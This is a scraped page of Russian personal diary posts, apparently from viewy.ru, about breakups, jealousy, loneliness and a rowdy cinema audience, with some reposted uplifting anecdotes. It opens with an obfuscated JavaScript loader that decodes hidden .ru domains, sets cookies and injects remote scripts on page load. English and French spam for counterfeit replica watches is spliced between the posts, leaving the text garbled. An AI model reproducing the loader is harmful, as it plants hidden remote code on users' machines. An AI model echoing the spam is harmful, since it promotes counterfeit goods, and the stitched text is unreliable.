window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Пост, в котором меня бомбануло.

Ай к дьяволу! Я поняла что меня больше всего злит. По сути, мне уже абсолютно насрать на него. Я не хочу чтоб он возвращался, писал, одумался и прочее. Но меня жутко бесит эта Настя. До зубного скрежета раздражает ее фальшь. Просто бесит что ее продпочли мне. Бесят до зубного скрежета ее статусы, где она считает дни. Просто любопытно, виделись ли они за период с 22 сентября до его ухода? что-то подсказывает мне, что дай бог пару раз, а то и вообще ни разу.

По началу, когда вся эта петрушка закрутилась, я ревновала ЕГО, думала о НЕМ, придумала себе любовь там, где ее не было, ныла, как идиотка (слава богу, только в блоге), но теперь я осознаю, что просдо ПРИДУМЛА эту свою влюбленность. Теперь же я понимаю, что я просто так развлекалась. Выводила себя на эмоции, а на самом деле это пустое. И чувств, исчезновению которых я радовалась, НЕ БЫЛО НИКОГДА. И злит меня просто эта ее фальшь. Есть в моей натуре такая фигня, что я не терплю фальшь и лицемерие, люди, у которых эти черты выражены бесят меня одним своим существованием. Я всегда стараюсь искать в ком-то хорошее, искать оправдание, но не таким людям. а она именно такая. Он дурак, дурак, если простил очередную измену, вернулся и прочее. Дурак, который ни на грамм себя не уважает. Но дурак, вовсе не означает, что он плохой человек и я его осуждаю, нет. Кто-то хорошо поет, кто-то рисует, кто-то мухлюет в картах, а кто-то просто дурак. такой какой есть. Но ОНА бесит меня с самого начала, бесит тем, что стоит из себя не пойми кого, бесит тем, что лжет и манипулирует, бесит тем, что считает себя умнее других.


Ловлю себя на том, что не заходила к нему на страницу уж 3 недели, а к ней захожу раз в 2 дня. Кстати, если подумать, то все то время, когда их отношения были окончены после ее измен, она носила его фамилию, после того, как она поговорила со мной и услышала, что за мужчину я воевать не буду (это он должен сражаться за меня) она сменила фамилию на какую-то еврейскую (небось настоящую), а он через какое-то время после появления на моей стене позитивных фоток и статусов, что все, собственно говоря хорошо, и никакой грусти после его пропажи не было (не считаю нытья тут, но это не в счет. сама придумала, сама поныла, сама успокоилась - САМОСТОЯТЕЛЬНОСТЬ) поставил статус, что мол так всех растеряешь. и так это все и было и стояло до его ухода в армию. а тут он ушел, и она начала считать дни. хаха, такая чушь. хотя…. может она считает, на какой день пойдет на блядки? Фальшивая кукла, накидывающая на себя маску жертвы. А я наивная дура, под маской воина.

Swiss-made rolex replica watches nowadays are the synonymous with high reliability and accuracy. When talking about the most sought-after watch brand, Hublot is second to none. With distinctive designs, luxurious styles and outstanding performance, Hublot watches are preferred by numerous watch connoisseurs, socialites and trendsetters all over the globe. However, the truth is that Hublot watches are costly. When you desire to experience the impeccable design and perfect functions but don’t want to pay thousands of dollars, Hublot replica Swiss may satisfy you. Many classic designs are available at online stores, and you can decide to purchase any you are interested.

There is no denying that breitling replica watches are absolutely your coveted timepieces Everyone wants to become more glamorous and stylish, and surely you are not exceptional. Compared with other flamboyant and impractical accessories, wristwatches seem to more ideal. It is true that wristwatches can not only tell you the precise time, but also unfold your social status and elegant taste. Combining the top-class Switzerland watch-making technology with innovative designs, Swiss Hublot watches are unquestionably the desirable items for an exquisite life. Just like the pricey genuine Hublot watches, replica watches are characterized by chic appearance, concise styles, excellent functions, and perfect comfort.

Each watch is approaching perfection and flawless in either exterior or quality, due to the superb materials and cutting-edge technology applied. Anyway, the replica Hublot watches are quite excellent duplications! Whether you have a great passion for the classic and comfortable bracelets or precise timepieces, Hublot replica watches can be by far the preferred choices. There is no need to worry about the budget constraint, but you can easily purchase the luxury Hublot watches like superstar, because the prices are definitely competitive. In a word, buying Swiss replica Hublot watches is a feasible way to make your luxury dream come true!

обнаружились проблемы по женской части.

надеюсь, что ничего вырезать не придётся. отказалась от алкоголя и пью сильные гормональные.

всем удачи и не болейте.

Потихоньку, помаленьку, отпускаю эту ситуацию. Да трудно снова верить, трудно не искать подтекст в словах, в действиях, во взглядах, трудно. Но а как иначе? Мне кажется все пары через это проходят, через трудности и непонимание, через неумение решать проблемы вдвоём. Трудно ещё от того, что ты понимаешь как сильно любишь этого человека, как боишься его потерять, трудно. Иногда эта любовь убивает тем, что в ответ ты не чувствуешь такой же любви. Хоть он и говорит что любит, что никуда не отпустит, и кажется что этого мало. Бывает смотришь на него, и в мозгу начинается мысль "вот он с тобой говорит, но фиг знает, может он там ещё с кем-то так же разговаривает?", и эта мысль накручивается и происходит пиздец. Я понимаю что проблема во мне, но не без его помощи эта проблема выросла. Если бы он с самого начала вселял в меня уверенность зная какая я ревнивая, сейчас бы такого не было. Ничего бы не было. Мы бы жили и не знали печали. А теперь приходится разгребать этот мусор, чтобы найти то дорогое, что у нас было. Ну, я надеюсь мы справимся. Иначе зачем все эти слова и поступки?

Просто любите и будьте любимыми, мне сейчас этого не хватает…

Иногда представляю, что в ближайшие лет так 5-10, не смогу испытать похожих чувств. Мало того, что кандидатур и так нет, да и зная себя, которая влюбляется так редко, которая так долго не могла найти то, что наконец проснется внутри к кому-нибудь, зная такую вот себя, данная ситуация в воображении частенько кажется вполне возможной и логичной.

Так вот, представляю я это и страшно. Страшно больше не летать, не растить в себе этих бабочек. Не обнимать, не целовать никого с таким желанием и с такими чувствами. Страшно до дрожи. А потом становится чуть легче. Ведь если такого взрыва чувств не случится, то и не будет взрыва боли. Хотя мне кажется, за это время я разучусь вообще что-либо чувствовать. Поэтому все же с т р а ш н о.

Я ведь понимаю, что отчасти и моя вина есть в том, что происходит. Будь я другая, я могла бы уже быть замужем(!). И жить, например, в материальном плане так, как хотела всю жизнь, как хочу жить сейчас, когда в кармане одна мелочь. Я могла сыграть самую шикарную свадьбу на зависть всем могла бы быть замужем за человеком и ни в чем не нуждаться. Но я не такая..жду травмая. Чувства мои не купить. Даже заботой, деньгами тем более. Взглянув назад, я знаю отчетливо, что и сейчас бы отказалась от этого всего. Но если бы я могла поменять то, что я вот такая и стать другой- я была бы согласна.Так проще, так не больно. И о том, что было у меня и могло бы быть-об этом мечтают тысячи, а я нет. Поменялась бы и все. Да, это была уже не я. А кто, кто я?

Чего я жду? Кого жду? И почему, когда я влюбилась впервые настолько сильно просто в то, что человек есть, когда влюбилась в него с кучей недостатков, без машин и денег, была готова ехать на край страны за ним, с ним. Ждать, верить. Влюбилась искренне, столько ждала, столько пыталась отдать ему. Почему такое не вознаградилось? Почему моя принципиальность и мои поступки не могут вылиться в счастье- быть с человеком, который любит меня, а я его. Почему я не заслужила поцелуев и объятий, тепла, любви, настоящей такой, знаете. И почему сейчас это ломает меня. Не ломало в 17, в 18 и т.д. Тогда я могла смириться и ждать. Но сейчас та самая точка, когда ждать уже не можется. Есть куча вопросов в голове и обломки внутри и ничегооо.

ни праздника, ни подарков, ни поздравлений. представляете, ни одного… ничего. не заслужила?значит так. улыбаться и создавать себе настроение? как? если даже в свой день рождения ты нахуй никому не нужна.если я сижу и плачу. и окончательно, никогда не поверю в хорошее.

Чтение — всего лишь хитроумный способ убивать время. Искусство сновидения для ленивых, наркотик для осторожных, приключение для трусливых; я сам запойный читатель, я знаю, о чем говорю.

Макс Фрай

Звонит мне вчера Хэнк (лучший друг) и говорит: Ульяш, я не понимаю что с тобой происходит последние полтора года. Ты как встала на эту дорожку то? Сворачивай, пока не поздно. Не иди по моим стопам. А теперь скажу поточнее. За последние полтора года, я осталась практически одна. Мой круг общения сузился до Хэнка и Ники. Все остальные просто ушли. Ушли, потому что я становлюсь дерьмом. Быть дерьмом не круто как навязывают нам сериалы, например "Калифорникейшн" или иначе говоря "Блудливая Калифорния". Сначала начинаешь ненавидеть все и всех, потом становится пофиг на мнение других и ты им говоришь это прямым текстом и зачастую грубо. Но ты не ощущаешь дискомфорта. Тебе все равно. А дальше ты живешь только для себя и постепенно люди отворачиваются. Все вокруг тебя считают дерьмом, но тебе и на это по большому счету насрать. За полтора года я пустила искренне любящего меня человека по бороде и не ощущаю ровным счетом ничего. В один прекрасный день ты очухаешься и поймешь все, но будет уже как-то поздно. И тут самое главное не оглядываться назад, иначе тебе конец. Ты становишься тем, кого презирал всю жизнь. Остаться одному не страшно, страшно потерять себя. Так умирает личность. Но если замечаешь это за собой, главное вовремя остановиться и начать меняться. Если ничего путного в голову не приходит, то ты уже потерял себя. Люди, это правда не круто. Не теряйте себя и не убивайте в себе личность.

Пинаю балду на работе и в связи с этим думаю о всяких глупостях)

Недавно одна из моих приятельниц рассталась с мужем. Продержавшись месяц она осталась у него ночевать. На вопрос: "Зачем?", она удивленно взглянула на меня: "Я уже месяц ни с кем не грешила, сил не было терпеть".

Секс сейчас занимает, наверное, лидирующие позиции в плане заинтересованности обоих полов.

Я не берусь судить, обсуждать и прочее, но после этого разговора я задумалась. Почему одни могут спокойно жить и без того самого, в тот момент, когда другие считают месячное воздержание кощунственным.

Может быть, когда под боком находится постоянный партнер тема секса отходит на второй план: захотел потрахался, захотел спать лег. Может быть с возрастом начинаешь задумываться о качестве, а не количестве актов.

Возможно, пуританское воспитание моей мамы оставило таки на мне след, но мне, увы, не понять этого. Месяц без секса вполне себе приемлемый момент, ввиду отсутствия желаемого партнера. А спать абы с кем, ради того, чтобы "грешить" немного не то. Не факт, что ты останешься в выигрыше. Мужчина в любом случае, ты - если всё будет ок и звезды сложатся так как нужно.

Опять же связь ради секса тоже имеет место быть. Потому как того единственного ждать можно годами, а организм требует. Если ты юна, не обременена заботами, моральными принципами и есть возможность скоротать время с приятным молодым человеком, то почему бы и нет?

К чему я это всё писала? Наверное к тому, что секс для меня однозначно важен, но он не занимает лидирущей позиции в списке важных вещей.

Пойду лучше пообедаю и не стану заморачиваться темой, на которую у каждого свой ответ)

Еще один секрет счастья в семейной жизни — это внимание друг к другу. Муж и жена должны постоянно оказывать друг другу знаки самого нежного внимания и любви. Счастье жизни составляется из отдельных минут, из маленьких, быстро забывающихся удовольствий от поцелуя, улыбки, доброго взгляда, сердечного комплимента и бесчисленных маленьких, но добрых мыслей и искренних чувств. Любви тоже нужен ее ежедневный хлеб. (с) Императрица Александра Федоровна

Il semble que il ya de nombreux styles de choisir quand nous voulons obtenir GMT montres. Pour les Replique montres de luxe avec des capacités GMT absolus, Montre GMT-obtenir de bons à montres sont considérés comme des choses convenables. Néanmoins, pour les fans horlogerie complexes, absolument rien ne sera plus agréable que les Breitling Chronomat 44 GMT montres qui offrent un merveilleux mélange de type complexe d'un symbole en utilisant la fonctionnalité GMT. Et si vous êtes l'un des lecteurs Breitling qui attendent de voir un attrait visuel encore plus dynamique de montres Breitling Replica Sale, Chronomat 44 GMT montres et leurs produits contrefaits sont sans doute ce qui nécessiterait votre conscience.

Faux Replique Breitling Chronomat 44 GMT montres, comme étant les styles personnalisés fait, font eux-mêmes les choses en particulier arrestive non seulement dans la performance, mais en plus l'intérieur design et le style extérieur. Ces teintes d'utilisation de la montre Breitling réplique pour afficher l'appel moderne de bon goût. Faux Chronomat 44 GMT montres sont fabriqués avec de nombreux vesions avec appel dans différentes teintes comme étant les styles uniques font. Pour moi, les styles avec appels bleu foncé comprennent les parties les plus spectaculaires entre tous. Ceux-ci réplique montre Breitling être sûr que le corps robuste tout en utilisant poli et brossé accompli exemple mesurer 44 millimètres. La lunette monté sur le cas offre degré de 24 h avec des chiffres personnalisés autour des qualifications brossé à l'intérieur une allure moderne bien. Parfaitement, autour de l'appel, ce qui a été exposé contient un degré de tachymètre autour de la lunette essentielle, un diplôme collégial bague de fiançailles de 24 h riche en constrasting marqueurs et des chiffres, métalliques employé h marqueurs et de palmiers avec un traitement luminescent, côté supplémentaire avec rougeâtre couleur finesse des détails montrent la deuxième fois et 3-souscription appels pour réaliser la fonctionnalité de chronographe. Ces Breitling réplique ne mettent parfaitement ensemble toutes les capacités qui sont importantes pour l'athlétisme montres. Abonnement-Sunken appels sont couverts en noir pour être extrêmement identifiable autour de l'appel bleu. Ainsi que les flèches rougeâtres autour de la pointe-leader permet le côté GMT pour être extrêmement célèbre. Quelques-souscription appels au total l'athlétisme fait de la réplique montre Breitling en montrant plus petite quelques secondes, 30-instantanée et de 12 h en conséquence.

Таки давно пора было понять, что я мстительная женщина. Понять не кому-то, а мне. Утром отзеркалила случай, который произошел пару недель назад. Отзеркалила в сторону того-же человека. Нет, я это сделала не специально, оно как-то само так сложилось - получилось. Я могла бы, конечно, пойти навстречу, но это в очередной раз вышло бы в ущерб мне, так что, я уподобилась. Но вот это чувство, когда я положила трубку и поняла, что я сделала аналогично…даже как-то не знаю… Хотя кому я вру? Я заулыбалась и довольная покатила дальше на работу.

И знаете что? Следом мне прилетела смска: "Я сделала о тебе выводы".

Ну охуеть теперь. Значит со мной так можно, а мне так нельзя?

Люди, такие люди.

Montres IWC ont une longue histoire. Ils ne peuvent pas être négligés par l'industrie horlogère. Les concepteurs de replique montres montblanc continuer à innover leurs produits. Montres IWC Replica ont de nombreuses caractéristiques distinctives. Ils répondent à des acheteurs de tous les horizons de la vie. Montres IWC ont de nombreuses caractéristiques impressionnantes. Tout comme d'autres maisons de mode, IWC essaie toujours de suivre les tendances de la mode. Il a publié un grand nombre de modèles exclusifs avec d'excellents styles et de modèles, ce qui rend la CBI se démarquer de ses concurrents. À l'heure actuelle, montres IWC réplique sont très populaires avec beaucoup d'acheteurs qui sont sur un budget.

Ces répliques sont copies 1: 1 de montres originales. Ils ont les apparences et de designs originaux. Ces montres sont un mélange d'art et de la mode. Ils vous apportent le style de la mode le plus exclusif. Montres IWC Replica ont attiré beaucoup d'acheteurs de profiter de leur style exclusif et le goût. Ces montres sont bien connus pour la technologie innovante et de l'artisanat. Beaucoup de gens décorent leur glamour et d'élégance. Ils aimeraient acheter plus d'une montre pour chaque saison. Ils sont heureux de porter une montre réplique de la CBI afin de montrer leur goût de la mode unique. Artisans ont fait de grands efforts pour créer ces montre Rolex pas cher.

Ces montres sont si impressionnants que beaucoup de gens ordinaires sont fous à leur sujet. Les différences entre les montres IWC authentiques et leurs homologues de répliques ne peuvent être trouvées à l'oeil nu. Dans l'ensemble, montres IWC réplique sont des accessoires de mode très économiques. Les acheteurs de partout dans le monde bénéficient d'acheter réplique montres IWC sur l'Internet parce que les achats sur Internet est de plus en plus populaire. Il existe une large gamme de répliques de montres en différents modèles et de styles dans les magasins en ligne. Acheter une montre en ligne ne vous coûtera pas beaucoup d'argent et de temps. Qui plus est, les débouchés en ligne vous offrent souvent avec beaucoup de montres à des prix réduits. Cependant, trouver un fournisseur fiable est la chose la plus importante pour les achats sur Internet. Dans l'ensemble, il est très facile de magasiner en ligne.

-Ты не намалёвана сегодня?

-Нет.. Ужас, правда?

-Нет, наоборот. В большинстве случаев, девушки без косметики страшные, а ты- красивая.

-Ррр, не льсти мне.. Мне такое писали в комментах в блоге..

-Я знаю, и это чистая правда. Ты у меня очень красивая, - ♥.

Эта идея пришла фотографу Элише (Elisha Minnette), когда она вместе с ребятами забирала щенка от заводчика.

Молодожены Мэтт и Эбби посчитали, что лучший способ прекратить расспросы своих родственников о том, когда же они заведут ребенка, — это провести фотосессию с их маленьким новорожденным щенком Хамфри.

Эта идея пришла фотографу Элише (Elisha Minnette), когда она вместе с ребятами забирала щенка от заводчика.

Во время фотосессии парочка делала все то же самое, что делают молодые родители, фотографируясь со своим новорожденным малышом.

«У нас с Эбби просто сумасшедшая фантазия и отличное чувство юмора, мы постоянно подпитываем друг друга разными идеями», — говорит Элиша.

«Съемки прошли очень весело! И щенок, кажется, наслаждался вниманием и заботой, которые мы ему оказывали».

«Мы провели эту фотосессию шутки ради, чтобы повеселить друг друга и тех, у кого чувство юмора схоже с нашим».

9 историй, которые вернут веру в человечество

  • «Иду утром домой. На подъезде объявление: „Дорогие соседи! Сегодня примерно в 9:20 у проходной двери были утеряны 120 рублей. Если кто нашел, занесите, пожалуйста, в кв. 76 Антонине Петровне. Пенсия — 2640 рублей“. Я откладываю 120 рублей, поднимаюсь, звоню. Открывает бабушка в фартуке. Только увидела меня, протягивающего деньги, сразу обниматься, причитать и в слезы счастья. И рассказала: „Пошла за мукой, вернувшись, вынимала ключи у подъезда — деньги-то, наверное, и проронила“. Но! Деньги брать отказалась наотрез! Оказалось, за пару часов я уже шестой (!!!) „нашел“ бабулины деньги! Люди, я вас люблю за то, что вы такие!»
  • «Как-то увидел на улице бабушку, которая продавала всего один-единственный комнатный цветок — фиалку. Стало ее жалко, заплатил раз в 10 дороже, чем она просила. Она со слезами: „Побежала я в магазин — куплю деду колбасу“. Принес цветок домой, на следующее утро он расцвел».
  • «Никогда не считала себя даже симпатичной. Недавно мой жених забыл „рассоединиться“ после нашего телефонного разговора. И я слышала, как он рассказывает обо мне соседу по комнате. Какая я сегодня красивая и как ему вообще светло рядом со мной. И как сильно он меня любит. Чего уж тут — я заревела. Первый раз почувствовала себя красивой».
  • «Мы с подругой были в торговом центре и выиграли по мягкой игрушке в рекламной викторине. Шли и увидели умственно отсталого мальчика с папой и отдали игрушки ему. Он сказал: „Спасибо“. Его отец чуть не расплакался. Оказывается, мальчик не разговаривал несколько месяцев».
  • «Несколько месяцев назад у меня диагностировали облысение. После курса терапии я полностью потеряла волосы. Страшно было представить, как я пойду в школу и как все будут пялиться на меня. Но в первый день, когда я собралась пойти в школу, у дома меня ждали десять моих друзей — все с полностью побритыми головами. Двое из них — девочки…»
  • «Работаю в кафе быстрого питания. Сегодня утром мужчина подошел к кассе и сказал: „За мной стоит девушка, я ее не знаю. Но я хотел бы заплатить за ее кофе. Передайте ей хорошего дня“. Эта девушка сильно удивилась сначала… а затем сделала то же самое для следующего за ней в очереди человека. И так 5 раз подряд!»
  • «Недавно возвращалась из института и возле станции метро „Автозаводская“ увидела ветерана войны. Он сидел рядом с планшетом, на котором были медали и ордена… Его награды, которые он заслужил на войне. Он продавал их, чтобы купить себе хоть какой-то еды. Я подошла, вытащила все содержимое кошелька и отдала ему со словами: „Возьмите все мои деньги, но не продавайте свою честь и доблесть за гроши людям, которые этого недостойны…“ Он расплакался, взял деньги, собрал ордена в ладони и поцеловал их, а потом тихо сквозь слезы произнес: „Спасибо, дочка“. В такие моменты мне кажется, что я смогу изменить мир. Они дают мне надежду».
  • «Накануне моего дня рождения 9-летняя сестра весь день бегала с горящими глазами, так хотела вручить мне подарок. Наутро я, как всегда, пошел ее будить в школу. И сказал: „Ты уже можешь вручить мне свой презент“. Еще не успев открыть глазки, она потянулась и обняла меня своими ручками. Потом залезла под подушку и достала конверт с надписью: „Дорогому брату на день рождения!“. Открыв, я обнаружил одну купюру в 10 долларов, две купюры в 100 рублей, одну купюру в 50 рублей. Это были абсолютно все ее деньги. Я ее крепко обнял и долго так лежал, чтобы она не видела моих слез».
  • «Давно не было такой грозы, как сегодня. На работе сказали, что кто-то отирается около моей машины. Я бросился на улицу. Все было по-прежнему, кроме люка в крыше: кто-то задвинул его поплотнее, чтобы машина не пострадала в непогоду».

Я не знаю, что должен сделать человек, чтобы я хотела его обнимать, искренне и по-родственному.
Что он должен делать, чтобы меня не отталкивало от него, чувствовать защиту в объятиях и что-то до боли родное..

Как сломать эту преграду между людьми, что мешает мне начать отношения?

Я не из тех людей, которые разбивая сердце кому-то, забывают об этом в эту же секунду. Я из тех, кто будет переживать, переживать и переживать. Возможно даже до конца дней своих.

У меня началась осеняя и зимняя хандра. Коооомбо блин. Хочется тепла и уюта с любимым человеком. Ах да, его у меня нет. А тот кто нравится, жутко морозиться от всего. Я ему нравлюсь, сам так говорил.
Ох эти мужчины, фиг их поймешь! А еще бесит то, что скоро сессия. Надеюсь я её сдам и проблем особо не будет. Бесит тот фактор, что денег нет именно в тот момент, когда они пздц как нужны. Особенно если дело касается здоровья.

Тему про своих подруг Я потом расскажу, там тоже жутко бесит всё. И да, почему у вьюши нет приложения? Оно жутко необходимо всем нам!

Эх, поскорее его б сделали! Что-то я рознылась аж слишком! И я чувствую, что эта хандра перерастет в депрессию! Эх, буду справляться!

Я УСТАЛА БЫТЬ СИЛЬНОЙ. хочется быть хоть чуть-чуть слабой!

Вчера писала об этом пост и случайно закрыла окно, ну и как все знают, как это происходит, после не смогла ничего вернуть. До сих пор очень больно на душе и наверное этот пост будет не таким интересным.
Но наболело , так что сутки не помогли это пережить, а я стремлюсь просто забыть эти неприятные моменты. Речь пойдёт о «Голодных Играх: Сойка-Пересмешница часть 2» , мы с парнем любим серию книг и фильмов. Меня больше всего впечатляют книги, но фильмы тоже неплохие и мы по традиции решили пойти в кинотеатр.
У меня есть подруга, которая не является поклонницей ГИ, но в момент когда мы планировали сходить на этот фильм она была расстроена тем что её парня Диму забирают в армию и она хотела бы ходить на фильмы с кем-то. Мы были не против, и конечно согласились. Перед назначенным днём она сначала дала неутвердительный ответ, а после сказала, что рассказала Диме (которого вернули домой из-за определённой причины), что пойдёт с нами на «Голодные игры» и он тоже захотел. В общем мы договорились увидеться уже там. Серёжа приехал первым и взял нам билеты (первый ряд 12е и 13е место), они приехали позже и взяли билеты прямо за нами (второй ряд 13е и 14е место). Людей было много, в том числе пришла ещё какая-то училка с детьми, а к Серёже подсел очень полный мужик, которому приходилось поправлять свой жир и напротяжении фильма он вытеснял Серёжу с подлокотника. За мной сидел пацан-малолетка и 2 девочки с ним. И напротяжении всего фильма происходило следующее:
Мужчина, сидевший рядом с Серёжей постоянно нарекал на спецэффекты, мол тут надо было бежать быстрее, а что это там взрывается это неестественно и т.п. Словно это «Пузо» разбирается хоть в чём-то и сняло уже уйму хороших фильмов. С ним сидела его жена, которая видимо не видела предыдущих фильмов и поэтому пришла на последний из серии. БРАВО ЗА ЛОГИКУ! МОЛОДЕЦ! НАХУЙ ПРЕДЫДУЩИЕ СМОТРЕТЬ? Можно же просто весь фильм спрашивать: «А кто это такой?», «А где они живут?», «А что они делают?» С ними была их подруга, которая видела предыдущие фильмы, но постоянно, что-то бубнела и нарекала. Ну а жена Пуза постоянно хохотала как миссис Клаус: «Хо-хо-хо-хо-хо». Вроде бы взрослые люди, а ведут себя как прирождённые идиоты.
За мной же сидел парнишка и можно было сразу заметить, что моё кресло было опущенно назад. Я сколько там сижу знаю об этом и это очень удобно. Но само собой не для его коленей, которые на середине фильма наверное начали ныть и он изо всех сил пытался оттолкнуть моё кресло, порой так что моя голова подскакивала, а эту дрожь в ногах я чувствовала своей головой. Мне было неприятно, ему было неприятно, так почему бы не пересесть на полупустой ря?. Да, это не место в центре, зато твои колени отдохнут! А починить кресло толкая его изо всех сил и, причиняя дискомфорт себе и мне это тупо.
Ещё через минут 20 фильма одна из девочек тихим и монотонным тоном, что-то рассказывала. Мне это не мешало, но Дима попросил её заткнуться, примерно так: «А как на счёт того, чтобы заткнуться и молча посмотреть фильм?» Мне было неловко из-за его поведения, ведь весь фильм Рита (моя подруга) постоянно задавала ему глупейшие вопросы, чем мешала смотреть фильм Серёже, который был ближе к ней. Вот представьте, вы сидите, хотите посмотреть спокойно фильм, а над вашим ухом постоянно кто-то бубнит: «Дима, а что будет дальше?», «Это к ним летят подарки? Нет! Свечи!» Какие нахуй свечи? Почему бы просто не следить за происходящим молча и воспринимать фильм полностью, а не угадывать повороты событий. И знаете, что мы услышали в конце? А то что фильм им не понравился, но вот костюмы классные. И про эти костюмы мы слышали трижды. Спасибо. Мы поняли.
Ах да, забыла рассказать о случае когда Китнисс поцеловала Гейла, который не засчитал это за поцелуй, а после уже по-настоящему поцеловала Пита (момент от которого в нас с Серёжей что-то дрогнуло), она начала говорить неодобрительно, что она то с одним, то с другим. Просто ахуенно это слышать от человека, который сам изменял. Ещё она сказала, что в фильме было всё предсказуемо. А что если предположить, что всё велось к тому, чтобы так случилось? Что если бы не было показано взглядов, определённых действий, а была бы только решающая концовка, то ты бы нихуя не поняла? Что если неожиданные повороты Сьюзен Коллинз (автора книги) были в конце каждой главы? Да, это не прям «Бум!» в фильме, но это есть и это интересно. Мне было очень интересно наблюдать за Питом, я не читала «Сойку-Пересмешницу» пока что и не знала о том каким станет Гейл. И там много было неожиаднного. Ну да похуй, ведь твоё мнение объективно …тьфу…даже язык не поворачивается это произнести вслух.
Ну и конечно задалбывало то что многие люди или дети ржали в драматических моментах, особенно когда умер Финник. Вот я просто сижу и не понимаю, что в этом блять смешного???
В конце мы просто приехали домой и были в шоке от той публики с которой смотрели фильм.

По поводу Риты хотелось бы добавить, что недавно у нас был странный разговор о фильме «Копы в юбках» . Она была на испытательном сроке в одном офисе, где училась рисовать на планшете, а там был телек на котором кто-то включил фильм «Копы в юбках», она смотрела его одним глазом, но поставила 2! Я попыталась не злится и сказала, что юмор там классный и сюжет лёгкий, может пересмотришь его и изменишь своё мнение, на что услышала, что она не собирается его пересматривать и вообще этот фильм её бесил тогда. Блять, я этого не понимаю просто.
И совсем недавняя ситуация. Я посмотрела сериал «Викинги» и мне он понравился, она тоже планировала его посмотреть, но посмотрев всего две серии она сказала, что ей не нравится. Она конечно будет смотреть дальше, но опять таки, всё ей блять предсказуемо! А ничего, что сериал исторический? Ничего, что он показывает какими были викинги, чем занимались, какая была у них религия, чего им не хватало и из-за чего они воевали с Англией? Нет? Об этом она не подумала?
Короче похуй. Надеюсь теперь я об этом перестану думать. Просто оставлю эти гифки здесь.

Я благодарна за то, что справилась без мужского внимания сегодня, а так же я рисовала, благодарна за то, что завтра вечером пойду гулять с Ю.(парень, который живёт через дорогу, ему сейчас 25). Горжусь собой, ведь я заставила себя заняться подработкой, а ведь лень так сильно меня соблазняла и я была готова ей отдаться. Ещё один факт, мне абсолютно все равно на В., на того, от кого ещё недели 2 назад я сходила с ума, слюнки пускала.. Так вот, сейчас я ничего к нему не испытываю. И об И. я почти забыла, я так сильно устаю, отвлекаюсь, что у меня нет времени. Теперь все вернулось на свои места и если я и думаю о мужчине..то единственный, который находится в моём сердце это Ж.

День 197: Есть ли у Вас всё для того, что бы двигаться дальше?

Тут вопрос должен стоять по-другому: "есть ли у меня вообще хоть что нибудь, что бы двигаться"- нет хотения, разве что